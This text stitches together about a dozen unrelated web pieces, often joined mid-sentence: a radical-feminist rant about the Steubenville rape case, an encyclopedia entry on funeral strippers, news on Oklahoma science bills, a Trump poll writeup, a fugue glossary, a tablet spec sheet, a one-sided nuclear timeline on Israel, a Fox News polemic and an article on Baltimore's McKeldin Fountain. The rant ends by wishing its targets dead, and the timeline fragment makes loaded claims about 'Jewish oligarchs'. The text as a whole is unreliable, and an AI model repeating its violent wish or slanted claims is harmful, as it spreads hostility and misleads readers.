im enjoying the doodbro-manarchists handing the doodbro-goodolboys their asses over the steubenville rape case and all, but there are some serious problems here that will never be addressed. namely, that rape isnt sex. and that the experts on “sexual politics” — radical feminists — are specifically excluded from this discussion, due to both the male-centric framing of the issues (that rape is “forced sex”) and out of reluctance to criticize mainstream “anti-rape” (LOLOLOLOLOL) discourse no matter how inadequate misogynist and patriarchal it is, because yay crumbs, and (AND!) due to legitimate fear of the “anonymous” hacktivist collective which we criticize at our peril.
yes, for some reason we were never asked what we think about any of it, and no one reads our books, where we clearly spell out our coherent political position on rape and “rape culture” and have done so for decades. since before (misogynist, patriarchal) “slutwalk” was even a thing! and way before any of this (misogynist, patriarchal) occupy nonsense.
have fun jerking each others dicks, doods. and excluding radical feminists from even sexual politics (where we are experts) and propping up your own violent, misogynist (rape) culture.
when the dust settles, i hope we find that you have all killed each other. voila! no more rape.
see also doodbro liberal dickwad versus doodbro MRA asshats, rounds one and two.
AdvertisementsFuneral strippers are exotic dancers, usually young women, who sing and dance and remove clothes at a funeral or in a procession to a funeral as a way to celebrate the life of the deceased and to attract mourners.[1][2] Funeral stripping originated and is most common in Taiwan but it is unknown how the tradition came to be. It spread to rural regions of mainland China but the Chinese government has attempted to end this practise, deeming it offensive and obscene.[3]
Background [ edit ]
As a rite of passage, funerals around the world often have singing and dancing to mark the occasion, although the practice of stripping naked is rare. In Taiwan, one custom has been to hire professional entertainers to perform at funerals, such as a professional mourner, to assist a family with setting a proper mood, particularly when relatives were distant or had trouble attending the funeral. The practice of hiring funeral strippers may have grown out of this practice. According to BBC News, hiring professionals to assist with funerals is undergoing change.[4]
The use of strippers in funerals was reported to be originated in 1995 from Taiwan, when the local mafia seized control of the mortuary industry and offered strippers from their clubs at a cut price.[5] However, historical records of women stripping at temple events dated back to the late 1800s.[6]
Description [ edit ]
The purpose of the strippers is not only to attract crowds but to "appease wandering spirits" as well as give the deceased "one last hurrah". What happens in a performance can vary considerably, and may include climbing poles, sound systems, professional musicians, electric "flower carts", neon-lit stages, fireworks. and gas-driven fire flames. One report found that in rural parts of China, there were a dozen "funeral performance troupes" which put on shows regularly, sometimes twenty in a month, and were paid roughly 2,000 yuan (about $322) for each performance.[7]
Sometimes dancers remove bras or panties in front of young children, which can cause consternation.[2] In some Asian cultures, particularly in Taiwan, the impetus for exotic dancing is that the family members want to have a well-attended funeral "to ensure that the deceased travels well into the afterlife"; in addition, like having a well-attended wedding, having many people at a funeral is a mark of prestige, and bringing entertainment to a funeral is one way to accomplish this.[2]
The practice is controversial in places such as China, where authorities have taken steps to discourage mourners from hiring erotic entertainment.[2] Videos of exotic dancing at funerals have been distributed to media-sharing sites such as YouTube, causing some embarrassment to officials when the videos are seen around the world.[2] The practice often occurs in rural areas; in some cases, authorities have meted out punishments to try to deter the activity,[1] but not before a similar crackdown attempt 9 years earlier.[8] According to one report, the practice originated in Taiwan, and was noted in 1980, but it usually happens not in big cities but in rural areas, as well as rural areas of mainland China.[3] Another theory is that the practice of funeral strippers is based on a "worship of reproduction" as a way to honor the deceased wishes to be "blessed with many children," according to a report in BBC News quoting Huang Jianxing, a professor at Fujian Normal University.[3]
Funerals of prominent people [ edit ]
In 2017, 50 pole dancers performed during the funeral procession of former Chiayi City county council speaker Tung Hsiang in Chiayi City, southern Taiwan.[9][10][11]
Variants [ edit ]
Instead of strippers, there are funerals featuring female funeral marching bands [12] or cheerleaders.[13]
Biographies [ edit ]
In 2011, Marc L. Moskowitz of University of South Carolina made a documentary titled 'Dancing for the Dead: Funeral Strippers in Taiwan'. [14] [15]
Taboo season 9 episode 'Bizarre Burials' featured stripper funerals.[16][17]The first state bills of the year that would interfere with science education have appeared in Oklahoma. There, both the House and Senate have seen bills that would prevent school officials and administrators from disciplining any teachers who introduce spurious information to science classes.
These bills have a long history, dating back to around the time when teaching intelligent design was determined to be an unconstitutional imposition of religion. A recent study showed that you could take the text of the bills and build an evolutionary tree that traces their modifications over the last decade. The latest two fit the patterns nicely.
The Senate version of the bill is by State Senator Josh Brecheen, a Republican. It is the fifth year in a row he's introduced a science education bill after announcing he wanted "every publicly funded Oklahoma school to teach the debate of creation vs. evolution." This year's version omits any mention of specific areas of science that could be controversial. Instead, it simply prohibits any educational official from blocking a teacher who wanted to discuss the "strengths and weaknesses" of scientific theories.
The one introduced in the Oklahoma House is more traditional. Billed as a "Scientific Education and Academic Freedom Act" (because freedom!), it spells out a whole host of areas of science its author doesn't like:
The Legislature further finds that the teaching of some scientific concepts including but not limited to premises in the areas of biology, chemistry, meteorology, bioethics, and physics can cause controversy, and that some teachers may be unsure of the expectations concerning how they should present information on some subjects such as, but not limited to, biological evolution, the chemical origins of life, global warming, and human cloning.
The bill responds to that uncertainty by ensuring educators can just teach whatever they want as long as they think it's science, and nobody can discipline them. Students, meanwhile, cannot be penalized if they "subscribe to a particular position on scientific theories." And the author makes sure to point out that none of this has anything to do with religion, just in case a casual reader ended up confused by its similarity to earlier bills with overtly religious motivations.
Some of said bills have the same author as this one: State Representative Sally Kern, a Republican. This is apparently her fourth try at an academic freedom act; previous attempts have passed the Oklahoma House before dying in the Senate education committee.Photo
Supporters of Donald J. Trump expressed two clear sentiments in the latest New York Times/CBS News poll: anger about the way things are going in Washington, and excitement about what Mr. Trump would do as president.
The national poll showed Mr. Trump with a commanding lead in the large Republican field, with more than twice the support of his nearest rival, Senator Ted Cruz of Texas.
More Trump supporters say they are angry about how things are going in the nation’s capital than do Republican primary voters who support other candidates (given the sample size, there were not enough supporters for other individual candidates to analyze separately). A slight majority of Trump supporters — 52 percent — say they are angry, compared with 38 percent of voters backing other Republican candidates.
Another 41 percent of Trump backers said they were dissatisfied but not angry with the way things were going in Washington. Just 6 percent of them said they were satisfied with the state of affairs in the capital and 1 percent said they were enthusiastic about it.
Looking ahead, 52 percent of Trump supporters say they are excited about what Mr. Trump would do as president if he is elected; another four in 10 are optimistic, but not excited. That’s a higher level of excitement than seen on the Democratic side: Just three in 10 Democratic primary voters who back Hillary Clinton in the poll say they are excited about what she would do if elected. About six in 10 of her supporters say they are optimistic, but not excited.
The poll also shows Trump supporters are more likely than voters supporting other Republican nominees to cite strong leadership as the most important quality for a candidate. Most Trump supporters, 56 percent, say that is the case — far more than those who cite honesty, empathy, experience or electability. Among supporters of the other Republican candidates, 35 percent cite strong leadership, while 37 percent say honesty and trustworthiness are most important.
An overwhelming majority of Trump supporters — 94 percent — think their candidate says what he believes most of the time, rather than what people want to hear. A third of voters who back other Republican candidates disagree. And while 85 percent of Trump supporters say he has presented specific ideas about how he would accomplish his goals if elected, a slight majority of Republican primary voters backing other candidates think he has not.
Demographically, the poll shows Trump supporters to be somewhat younger, less educated and less likely to describe themselves as evangelicals compared with supporters of other Republican candidates. (Mr. Trump runs closely with Mr. Cruz in the poll among evangelical and very conservative voters.)
Trump supporters are also more likely than supporters of other Republican candidates to rate the economy poorly, and to say that the United States should not allow Syrian refugees into the country.
Mr. Trump’s business experience is a big positive for his backers. A majority of Trump supporters say they prefer that the Republican nominee for president be someone whose experience is mostly in the business or private sector, rather than in politics and government. A third of voters backing other Republican candidates agree, while two in 10 say they would prefer a nominee with political experience and nearly half say it doesn’t matter to them.
Dalia Sussman is a member of The Times’s news surveys department.
This is one of an occasional series of posts taking a deeper look at polling during this campaign cycle.Mayor Bloomberg wants stores throughout New York City to hide cigarettes behind counters, curtains or cabinets as part of his next anti-smoking effort.
"Such displays suggest that smoking is a normal activity, and they invite young people to experiment with tobacco," Bloomberg told reporters Monday.
Stores could still post cigarette ads and prices, the mayor said.
The law would apply to retail stores and requires City Council approval; it will be introduced on Wednesday. A spokeswoman for Council Speaker Christine Quinn said the measure would get a legislative review but added that she supports the goal of the bills.
At least one tobacco maker opposes the legislation.
"We believe it goes too far," David Sutton, a spokesman for Altria, which owns Marlboro-maker Philip Morris, told NBC 4 New York.
Bloomberg, a billionaire former smoker, has made anti-tobacco efforts a major part of his mayoralty and private philanthropy.
Bloomberg banned smoking in bars and restaurants during his first term, a move that was not common at the time. He has also committed $600 million to programs that seek to curb smoking around the world.
City officials said display restrictions are already in place in other countries, including Canada, England, Iceland and Ireland.
--Melissa Russo contributed to this storyVisit the Fugues of the Well-Tempered Clavier (Flash or Shockwave), where all of the
techniques discussed on this page are illustrated in interactive hypermedia.
I. Definition of a Fugue
Polyphonic procedure involving a specified number of voices in which a motive (subject) is exposed, in each voice, in an initial tonic/dominant relationship, then developed by contrapuntal means.
II. "Form" of a Fugue
A fugue generally consists of a series of expositions and developments with no fixed number of either. At its simplest, a fugue might consist of one exposition followed by optional development. A more complex fugue might follow the exposition with a series of developments, or another exposition followed by one or more developments. Fugues that are tonally centered will expose the subject without venturing out of an initial tonic/dominant constellation. Because its outline is so variable, it is preferable to speak of the fugue as a "process" rather than "form" per se.
III. The fugal purpose, method, character, and essence
Before form, the fugue is metaphorical; its purpose is to reveal connections between seemingly unlike things. Its method is to develop an idea in never precisely the same way. Its character is to demonstrate relationships, unveiled both in terms of new ideas born of old, but also in counterpoint with the old. The fugal essence is experienced in discovery of the new to be of the stame "stuff" as the old.
IV. Parts of a Fugue
A. Main Idea of the Fugue and How It Is Stated
Subject: Melody that comprises the primary melodic/rhythmic material of the fugue. Subjects typically have two parts: the "head" is calculated to attract attention either by unusual rhythmic or intervallic emphasis, while the "tail" is typically more conjunct, rhythmically uniform, and sometimes modulatory. The head and/or tail itself may employ variation of one or two smaller motives or figures...each comprised of a characteristic rhythm and/or interval. Answer: Subject imitation which immediately follows the first statement of the subject: in a different voice and usually fifth higher. Answers are a subclass of subjects which bear certain interval characteristics in relationship to the subject as it was originally stated. Tonal Answer: An answer that typically (though not always) stays in the same key as the subject. To do this it is necessary for the intervals of the subject to change somewhat. In a tonal answer "do" and "sol" switch places: The position occupied by "do," in the subject, becomes "sol" in the answer and vice versa. Analytical technique: Subjects having many skips (disjunct) that focus upon the tonic and dominant scale degrees lend themselves to a tonal answer.
An answer that typically (though not always) stays in the same key as the subject. To do this it is necessary for the intervals of the subject to change somewhat. In a tonal answer "do" and "sol" switch places: The position occupied by "do," in the subject, becomes "sol" in the answer and vice versa. Real Answer: An answer that is a transposition of the subject to another key, usually the dominant. Analytical technique: Subjects having mostly steps (conjunct) that don't focus upon "do" and "sol" lend themselves to a real answer. Countersubject: Substantive figure that sometimes recurs immediately following the subject or answer (in the same voice). Countersubjects serve as counterpoint to subjects (or answers) sounding simultaneously in a different voice. Not every fugue will have a countersubject. Some fugues may have more than one countersubject. False Subject: Some people use the term "false subject" to describe an entry of the subject (or answer) that begins but never finishes. This term should be reserved for instances where the subject appears to enter, breaks off, then follows immediately with a complete statement. Most other instances of incomplete subjects are developmental and should be termed "imitation." B. Main Sections of the Fugue Exposition: Portion(s) of the fugue consisting of subject(s) with at least one answer, and possibly countersubject(s). To qualify as an exposition, the subject (or answer) must appear in all voices and answers must be in the proper relationship (tonal or real) to subjects. The exposition normally concludes immediately after the subject (or answer) appears in the last voice. Expositions may defer the cadence until after a codetta. Differentiation between exposition subtypes is based upon the order in which voices enter (as compared to the first exposition) and whether or not the subject has changed. Re-Exposition: An exposition, following the initial exposition, in which the voices enter in the same order as the first exposition.
An exposition, following the initial exposition, in which the voices enter in the same order as the first exposition. Counterexposition: An exposition following the initial exposition in which the voices enter in a different order than they did in the first exposition, or the subject of the new exposition is a contrapuntal variation of the original.
An exposition following the initial exposition in which the voices enter in a different order than they did in the first exposition, or the subject of the new exposition is a contrapuntal variation of the original. Double Exposition: Exposition utilizing a brand new subject (i.e. not contrapuntally derived from the first). If the new subject is unique, then the fugue is a double fugue (or, in the case of three subjects, triple fugue). Developmental Episode: Section in which motives from the exposition are treated in sequence, modulation, contrary motion, double counterpoint, stretto, augmentation/diminution, pedal, etc. Episodes are generally terminated by a cadence and may follow one after the other. Developmental episodes characteristically begin by departing from the subject, to fragment or vary it in some way, but gradually building up to a restatement of the subject in at least one voice. These statements of the subject are typically not in the tonic/dominant relationship of the exposition and are called "middle entries" (or in German Durchführung). Episodes typically do not enunciate the subject in all voices. Coda or Codetta: Concluding segment of a section (codetta) or of the entire fugue (coda). Codas and codettas often sound as if they are something added after the structural end of the section or work. The function of codettas is often modulatory (to return the tonality to the key of the subject after an answer at the dominant). Not all fugues have these.
V. Compositional Techniques of the Fugue
For Practice: Recognizing Contrapuntal Inversions
In what direction and how far is each part moved in analogous sections? What happens to vertical intervals between analogous sections? What is the basic interval of contrapuntal inversion? What types of motion (parallel, contrary, oblique) characterize each example?
If you are contemplating the analysis of a fugue, see How to Analyze a Fugue for step-by-step instructions.From the time he was 10 a century and a half ago, William Brewster searched the woods and fields of New England for birds, eventually becoming a noted ornithologist and spending half his life curating the Harvard Museum of Comparative Zoology’s bird collection.
In addition to his passion for fieldwork, Brewster was a diligent note-taker. When he died in 1919, he left behind a collection of 40,000 birds, nests, and eggs, but also thousands of pages of diaries and journals that provide valuable insights on both the birdlife of his era and, through his writing on other subjects, the times themselves.
At least, they would if people could read them.
“In order to look at them, you actually have to come here,” said Constance Rinaldo, a librarian at the Museum of Comparative Zoology’s Ernst Mayr Library, where Brewster’s writings are held. “That makes them, for many people, inaccessible.”
That’s where the video games come in.
The library has embarked on an 18-month collaboration with the Missouri Botanical Garden, Cornell University, the New York Botanical Garden, and the Biodiversity Heritage Library on a project to use crowdsourcing to transcribe Brewster’s journals into a searchable digital format, and to create video games for the more-exacting task of checking those transcriptions for accuracy.
The pilot project, funded by the Institute of Museum and Library Services, aims to help museums and libraries digitize collections of printed materials. Handwritten journals like those kept by Brewster, whose cursive is difficult for optical character-recognition software to translate, is one example; another involves historical documents in hard-to-recognize formats, such as the seed catalogs held by the Missouri Botanical Garden, rich with images, tables, and text in multiple sizes.
The key goal in the initiative is to make a digital copy that is both searchable and accurate, according to Patrick Randall, who is working on the project for the Ernst Mayr Library.
A searchable digital copy can be created by crowdsourcing the transcription to a small army of volunteers, a strategy already employed by several institutions. For this project, Brewster’s journals are being transcribed at two sites, DigiVol and FromThePage. As a step in quality control, each site is creating a copy that can be checked against the other.
The second part, ensuring accuracy, has the potential to be a bit trickier, Randall said. Since poring over a document for errors isn’t everyone’s idea of exciting work, it typically doesn’t attract volunteers; instead, the institute must painstakingly go over the pages.
“The quality control is always the big issue, because ultimately a museum still has to have the final say about what gets the go-ahead, what goes online,” Randall said.
That verification process is critical, Rinaldo said, because not every volunteer is familiar with the subject matter. A lack of familiarity combined with hard-to-read handwriting can lead to errors, such as species names being misspelled, which could cause a search engine to miss entries as researchers gather data.
It may not be critical “if you miss a ‘than’ or an ‘a,’ but if you’re looking for patterns in bird lists and you spell the scientific name wrong, it might not get picked up,” Rinaldo said. “This is primary research. The point is to get primary research out there so people can incorporate it into what they’re doing.”
But what if checking for errors could be made interesting enough for volunteers to do it? Or, better yet, to draw even more volunteers to the task?
Enter TiltFactor, a gaming-focused design studio and research lab led by Dartmouth College Professor of the Digital Humanities Mary Flanagan. The company, which develops games that address educational and societal challenges, has been brought on to develop two video games that will engage volunteers in checking transcribed documents for errors.
“The gaming piece would allow us to ensure the transcripts are close to 100 percent correct,” Rinaldo said.
Flanagan said that although games haven’t been developed for this specific purpose before, the approach itself isn’t unusual, since some kinds of games have been used for social and educational purposes for millennia, a practice she tracked back to the first Olympic Games’ promotion of health and fitness.
First versions of the video games should be ready by early next year, Flanagan said. One is aimed at the more altruistic volunteer, who will want a minimum of gameplay features. The second will have more of those features, such as the ability to track progress, gain points for correct transcriptions, and lose them for incorrect ones.
The challenge, according to Flanagan and TiltFactor game designer Max Seidman, is to create gameplay that is interesting enough to stand by itself and even attract players who might not be interested in natural history, birds, or the broader societal benefit of their high scores.
Video games “are not the first thing you think about when you think of biodiversity heritage,” Flanagan said. “I think this may just be the beginning of ways we use participatory systems in other areas.”870743
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Android, Google, Google Play, Nexus and other marks are trademarks of Google Inc.
Share your tablet with friends and family — each person has a separate customizable space, inlcuding homescreen, wallpaper, apps, storage and more. Back to Menu Product Details Item # 870743 aspect ratio 16:10 audio hardware Sonicmaster audio playback file formats MP3 average battery life 9 hours Backlight Technology LED battery capacity 3950 mAh Battery Energy 15 Wh Bluetooth Yes Bluetooth Standard Bluetooth 4.0 brand name Google Cache 2 MB Chipset Manufacturer Qualcomm Chipset Model Snapdragon S4 Pro APQ8064 color black computer battery type lithium-ion depth 0.3 inch diagonal screen size 7 in. Display Screen Technology In-plane Switching (IPS) Technology Display Screen Type Active Matrix TFT Color LCD Focus Modes Auto-focus form factor Slate front camera/webcam Yes Front Camera/Webcam Resolution 1.2 Megapixel Graphics Controller Manufacturer Qualcomm hard drive type solid state drive height 7.9 inches image file formats jpeg Input Voltage 120 V AC; 230 V AC integrated speakers Yes Keyboard No keyboard type Touchscreen Keyboard manufacturer ASUS Computer maximum battery life 10 hours Maximum Power Supply Wattage 7 W memory 2 GB memory card reader yes Memory Standard DDR3LM-1066 Memory Technology DDR3LM SDRAM Microphone yes model NEXUS7-ASUS-2B16 Multi-touch Screen Yes Near Field Communication Yes network connectivity none Optical Drive Type No Pixel Density |
begin freely talking about attacking other nations, including with nuclear weapons.
2001: Bush inflames Arabs by clearly taking sides with Israel's expansionist aims, part of the reason for the September 11 attacks against the Pentagon and the World Trade Center. He obsesses about attacking Iraq, not defending America against known Al Queda terrorists. Starts planning war against Iraq after September 11 attacks, including option of using nuclear weapons.
2002: George Bush gives Israel the go-ahead to use nuclear weapons against Iraq if Saddam attacks Israel before the American invasion of Iraq. Pentagon Office of Special Plans uses information from Iraqi dissidents and Israel's Mossad to convince Americans that Iraq has weapons of mass destruction that are an imminent threat against America. Israel launches Ofek-5 satellite with a powerful new inter-continental missile.
2003: Israel repeatedly demands sanctions against Iran for its nuclear program and threatens to bomb Iran's operating nuclear power plant, despite Iran's threats to retaliate hard against Israel. Russia may have sold Iran additional advanced missiles capable of shooting down Israeli bomber and fighter jets. Russian President Putin proposes Security Council formally call for establishment of a Palestinian state and arrests last of the Jewish "oligarchs" who bought state industries for pennies on the dollar under Yeltsin. Arab and other nations repeatedly ask that Israel nuclear facilities come under international inspections. So does the head of the International Atomic Energy Agency (IAEA) Mohammed el-Baradei. United Nations General Assembly passes resolution that Israel join the nonproliferation treaty by a vote of 164-4. Prime Minister Ariel Sharon tells Israeli newspaper that Israel will not dismantle its “special measures” because the U.S. will not remain in the Middle East forever.
2004: Israel buys two more German submarines for delivering nuclear tipped cruise missiles, making a total of five. Mordechai Vanunu's prison term ends 2004 but Israel keeps putting him in prison and or under house arrest for trying to speak to others outside the country on nuclear issues and for wanting to leave Israel permanently.0 SHARES Facebook Twitter Google Whatsapp Pinterest Print Mail Flipboard
Move over “You didn’t build that.” It’s time for “Fox News didn’t say that.”
Fox News apparently feels the same way about the quality of their on-air programming as many big corporations do about the quality of their manufactured products. In other words, people have no right to question their ingredients. No matter how substandard or even harmful they may be.
Lauren Ashburn, who, with Howard Kurtz, co-hosts MediaBuzz (Sundays 11AM-12PM/ET) “to discuss the state of the news media and the media’s shaping of current events and their role in politics, culture, business, technology and sports,” said yesterday that, “it’s just not fair” to blame Fox News for misinformation presented on their programming:
(Speaking of misinformation and media buzz, there have been some questions about Ashburn’s own credentials, though I am certain none of that is the fault of Fox News either. They can hardly be blamed for what they tell you on air.)
That’s right. Fox News is not responsible for its own content. The buck stops…nowhere.
Specifically, Ashburn was whining about fallout from her network’s recent miscue surrounding the capture of Benghazi suspect Ahmet Abu Khattala. You’ll remember that Khattala was inconveniently and suspiciously captured on June 17.
For no reason I can discern other than because Obama is black and it was a Tuesday, Fox News immediately suggested the timing of the capture was almighty convenient for Hilary Clinton, coinciding as it did with the release of her new book, Hard Choices (published June 10) and book tour (which also kicked off June 10 at the Union Square Barnes & Noble store in New York City).
Justin Baragona discussed Fox News’ reaction to Khattala’s capture on June 17:
Over at Fox News, the network both downplayed the news and provided commentary suggesting this was either a distraction or a way to help Hillary Clinton’s book sales. On Fox News’ panel discussion show Outnumbered, contributors Kennedy (of MTV fame) and Peter Hegseth both suggested that Clinton’s book tour and potential 2016 Presidential run provided the impetus for Khattala’s capture and this news being broken now. Fox News anchor Jon Scott also questioned the timing of the capture and wondered if the United States could have brought in Khattala at any time but decided to wait for the most politically advantageous moment.
So even a Fox News anchor isn’t responsible for what he says on-air? Then who is? And don’t forget Limbaugh:
Of course, El Rushbo had to chime in and offer his two cents. Rush Limbaugh not only claimed that the timing was peculiar, but that Obama would make Khattala claim that the anti-Mulsim video that sparked protests across the Middle East was the cause of the Benghazi attacks, therefore ‘vindicating’ the administration.
Ashburn’s defense of Fox News strains credulity almost as much as Fox News itself:
[T]he more outlandish the comments, the more the websites are going to say ‘oh my gosh, Fox News said this, and they made this point,’ and it’s funny because Fox News didn’t say that, those individual contributors said that. It’s just not fair to do that.
Ashburn has some peculiar ideas about fairness. Besides the presentation of her own credentials, there is her disturbing fixation with President Obama shopping habits.
You seriously have to question the acumen of a person who turns President Obama’s purchase of pink sweaters for his daughters into an accusation, saying Obama has “got to learn to take his lumps.”
I do think Ashburn forgot the saying about people living in glass houses.
I absolutely do not think it is Obama who has to learn to take his lumps, but clearly, Fox News (and by extension, Lauren Ashburn), ever so sensitive to criticism of the shoddy quality of its content.
Back in December 2013, Dave Weigel at Slate opined that Ashburn “has almost nothing to say about anything.” He is right that she has nothing meaningful to say, but consider if you will that she works for a network that questions why anyone would bother to tell the truth about anything when it can just as easily make up outrageous lies instead.
And look, it is hardly surprising that a network that prefers lies to facts would shy away from taking responsibility for those lies when, inevitably, they are questioned.
Ashburn’s complaint that her network not be held responsible for the content it airs not only contrasts unfavorably with our president’s willingness to accept personal responsibility, but it is yet another nail in Fox News’ self-made reality bubble, which can more reasonably be thought of as a coffin full of angry old white people eager to embrace irrelevance as the price of doing business.
If you’re ready to read more from the unbossed and unbought Politicus team, sign up for our newsletter here! Email address: Leave this field empty if you're human:As I’m sure you all know, the One Piece manga comes out every few months with a new volume featuring ten or so chapters, a Q&A corner with One Piece‘s author Eiichiro Oda himself, the occasional interviews and the famous “Usopp Gallery Pirates.”
The Usopp Gallery Pirates corner features art sent in by fans from Japan, and on rare occasions even from other countries. This weekend, it has come to the attention of Japanese My Hero Academia fans at 2ch that the author of My Hero Academia, Kohei Horikoshi, was actually featured previously in the Usopp Gallery Pirates (via ONESOKU).
The volume in which Kohei Horikoshi sent in his drawing was Vol. 23 “Vivi’s Adventure” published in Japan in 2002, featuring a rendition of Horikoshi’s “The Tough Man” Smoker.
My Hero Academia is a new Japanese Weekly Shonen Jump series also available to read on the official english Shonen Jump from Viz Media to people residing in the U.S., Canada, the U.K., Ireland, Australia, New Zealand and South Africa for a low sum of just $25.99/year, featuring 10+ weekly manga series. The subscription also features other bonuses so be sure to check it out on their official website. The series has now “beaten” One Piece in the popularity rankings a few times and, for what it’s worth, has definitely gotten my official William Stamp of Approval since chapter 1 first came out.
Who would have guessed that almost thirteen years later this man would become one of the newest up-and-coming authors of Jump.Baltimore’s Inner Harbor revitalization can be traced to 1963 when Mayor Theodore McKeldin issued a challenge during his second inaugural address.
“Envision with me,” McKeldin said, “a new Inner Harbor area, where the imagination of man can take advantage of a rare gift of nature to produce an enthralling panorama of office buildings, parks, high-rise apartments and marinas.
“In this, we have a very special opportunity, for few other cities in the world have been blessed, as has ours, with such a potentially beautiful harbor area within the very heart of downtown... Too visionary this?... Too dreamlike?... Certainly not.”
McKeldin’s vision started to become reality when Wallace, McHarg, Roberts & Todd (now WRT) of Philadelphia, created a master plan to guide development of 250 acres around the harbor basin.
Its plan became the setting for Benjamin Thompson’s Harborplace pavilions, Cambridge Seven’s National Aquarium, Edward Durell Stone’s Maryland Science Center, and office towers by Harry Cobb, David Childs, Craig Hartman, Eberhard Zeidler and Vlastimil Koubek, among others.
As part of its master plan, WRT worked on individual projects within the renewal area, including the waterfront promenade and pedestrian bridges across city streets. Its most sculptural contribution was the concrete fountain and plaza at Pratt and Light streets, a central area that was dedicated in honor of McKeldin.
Also called “The Waterfall,” the fountain was located at a pivotal site where downtown meets waterfront.
According to Fred Scharmen, an assistant professor in architecture at Morgan State University and an expert on the fountain, WRT partner Thomas Todd, the principal designer, intended it to be “reminiscent of a return to the source of the Susquehanna River, on its way to fill the Chesapeake Bay.”
An “Explorable” Waterfall
As designed by Todd and completed in 1982, the fountain is an explorable waterfall, set in a 2.8-acre traffic island, adjacent to a public plaza. The island, triangular in shape, is surrounded by traffic on three sides, including six lanes that cut it off from the harbor’s edge.
______________________________________
PART 1: Proposed razing of McKeldin Fountain raises many questions about city planning and policy (7/22/15)
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The fountain is made of concrete prisms, with platforms at various levels containing plants, water and walkways for people. It rises 18 feet, with water cascading down all sides and collecting in pools below.
Like Baltimore’s recently-demolished Mechanic Theatre, an early anchor for Charles Center, the McKeldin Fountain is considered an example of the architectural style known as Brutalism. The term comes from the French “beton brut,” which means raw concrete.
The fountain’s colors and materials are consistent with much of the infrastructure around the harbor and many of the beige-toned buildings from the time.
Built into the fountain are skywalks that connect it to the Light Street Pavilion of Harborplace and the Hyatt Regency Hotel. From the start, it has been a magnet for tourists, shoppers and office workers on a lunch break.
The adjoining city-owned plaza is a free-speech zone that has been the site of both protests and civic celebrations; it served as the setting for the Occupy Baltimore encampment in the fall of 2011.
The fountain isn’t delicate and symmetrical like the Beaux Arts fountains in Mount Vernon Place and other neighborhoods. But it has a raw kinetic energy that draws people to it. It co-exists comfortably with the cars and trucks passing all around.
Most importantly, it has enough height and mass to “hold the space” at that key intersection and serve as a backdrop for gatherings and civic events, not just a passageway for people going from one place to another. And it isn’t a copy of anything anywhere else. It clearly grew out of its place and time.
Inner Harbor 2.0
In the early 2000s, civic leaders began looking for ways to jumpstart redevelopment and set the city apart again after other downtowns copied the Inner Harbor’s kit of parts.
They started with a plan to alter Pratt Street, the main east-west boulevard downtown. The plan, by Ayers Saint Gross, showed McKeldin Plaza replaced with a new sort of gathering spot, an area that contained a giant video screen high above the street.
Several years later, again working with Ayers Saint Gross, city leaders unveiled a new master plan to guide redevelopment of roughly the same area that WRT focused on in the 1960s and 1970s.
That plan, called Inner Harbor 2.0, also recommended that the McKeldin Fountain be removed and that the triangular traffic island be redesigned and connected to the Inner Harbor shoreline.
The organization behind the push to replace the fountain, the Downtown Partnership of Baltimore, works to promote and improve the center city. Its board meetings are not open to the public, a sore subject for non-board members who try to follow its work, and one reason it has a reputation for being less than transparent.
The Waterfront Partnership of Baltimore, a sister organization headed by Laurie Schwartz, opens its board meetings to the public. So does the Baltimore Development Corp., the city’s quasi-public development arm.
Moving Light Street
Downtown Partnership President Kirby Fowler said the McKeldin Fountain occupies a key arrival point downtown, and his members don’t believe it represents a sufficiently inviting gateway, especially for people approaching by car from the south.
He argues that it has a backside that is unattractive and says his members dislike the way it is cut off from the shoreline by traffic.
To redesign the fountain area, the Downtown Partnership is working with Ayers Saint Gross, Ziger/Snead Architects, and Mahan Rykiel Associates, a landscape architecture firm. All three are Baltimore-based and have worked on numerous other projects downtown.
The latest plans call for the McKeldin Fountain to be demolished and for the traffic island to be connected to the Inner Harbor shoreline by removing traffic lanes that currently separate it from the waterfront.
Under this plan, northbound traffic on the east side of the fountain would be shifted to the west side, with new traffic lanes taking up a slice of land where the fountain is now.
To take a slice of the fountain for traffic realignment, designers say, the entire fountain would have to come down. The tradeoff, in effect, is losing the fountain and gaining more public property that is directly connected to the waterfront.
Water Wall and Tilted Lawn
In place of the fountain and plaza, the designers have introduced new water features and landscaped areas that fit roughly within the McKeldin property’s triangular footprint, except for the western slice that would be shaved off to make way for new traffic lanes.
In the middle of the triangle would be a landscaped area that divides the site in half and serves as a gathering spot for civic events.
South of the walkway would be a lawn that would slope upward from the central walkway to a height of 18 feet and double as an amphitheater. Beneath it could be a storage area for rental bikes.
On the west side of this tilted lawn a meandering pathway would be constructed, filled with plants and trees indigenous to the Chesapeake Bay region.
On the north side of the central walkway would be a smaller tilted lawn, rising to a height of four feet.
Along the north side of the diagonal pathway would be new water features, including a fountain, linear pool and water wall, which could serve as the backdrop for video projections. On the fountain would be an inscription featuring McKeldin’s challenge to transform the Inner Harbor from his 1963 speech.
Richard Jones, president of Mahan Rykiel, said the public space is designed to serve multiple uses: to accommodate large gatherings, to mark a gateway to the city and to provide a pedestrian link between the central business district and the waterfront.
Architect Steve Ziger, whose firm designed the 9/11 Memorial of Maryland at the base of the World Trade Center on Pratt Street, said the water features and inscription would constitute a new public memorial to McKeldin.
Cost is Anyone’s Guess
Construction would be carried out in phases. First would be demolition of the current fountain and interim improvements to the land. Later phases would involve shifting the traffic lanes to connect the now-isolated island to the shoreline and construction of the tilted lawns and other new features.
How much all of this would cost is unclear, largely because the project is still being designed.
Estimates have ranged from $10 million to more than $40 million, depending on how many features and construction phases are involved. Another factor, Fowler said, is the extent to which the proposed changes to Light Street traffic lanes might end up necessitating changes to other streets downtown, such as Charles Street.
Earlier this week, Fowler said the Downtown Partnership has raised $3.4 million for the first phase, involving demolition of the existing fountain and temporary improvements. He said his group does not yet have funds to carry out the entire project.
Funding identified for the project so far would come from a combination of public and private sources.
According to the Downtown Partnership and others, initial funds have been pledged, promised or allocated by the Downtown Partnership ($300,000); the City of Baltimore (possibly as much as $800,000); the State of Maryland (possibly as much as $750,000); T. Rowe Price, which is based at 100 East Pratt Street ($250,000); Emmes Asset Management, owner of 1 East Pratt Street ($100,000); the Meyerhoff family ($50,000); and PNC Bank, the lead tenant of 1 East Pratt Street ($40,000).
Strings Attached
But some of these funding commitments come with conditions that must be met before the money can be spent.
The $50,000 figure from the Joseph & Harvey Meyerhoff Family Charitable Funds, for example, is a “challenge grant” that requires the Downtown Partnership to raise $200,000 to qualify for the $50,000.
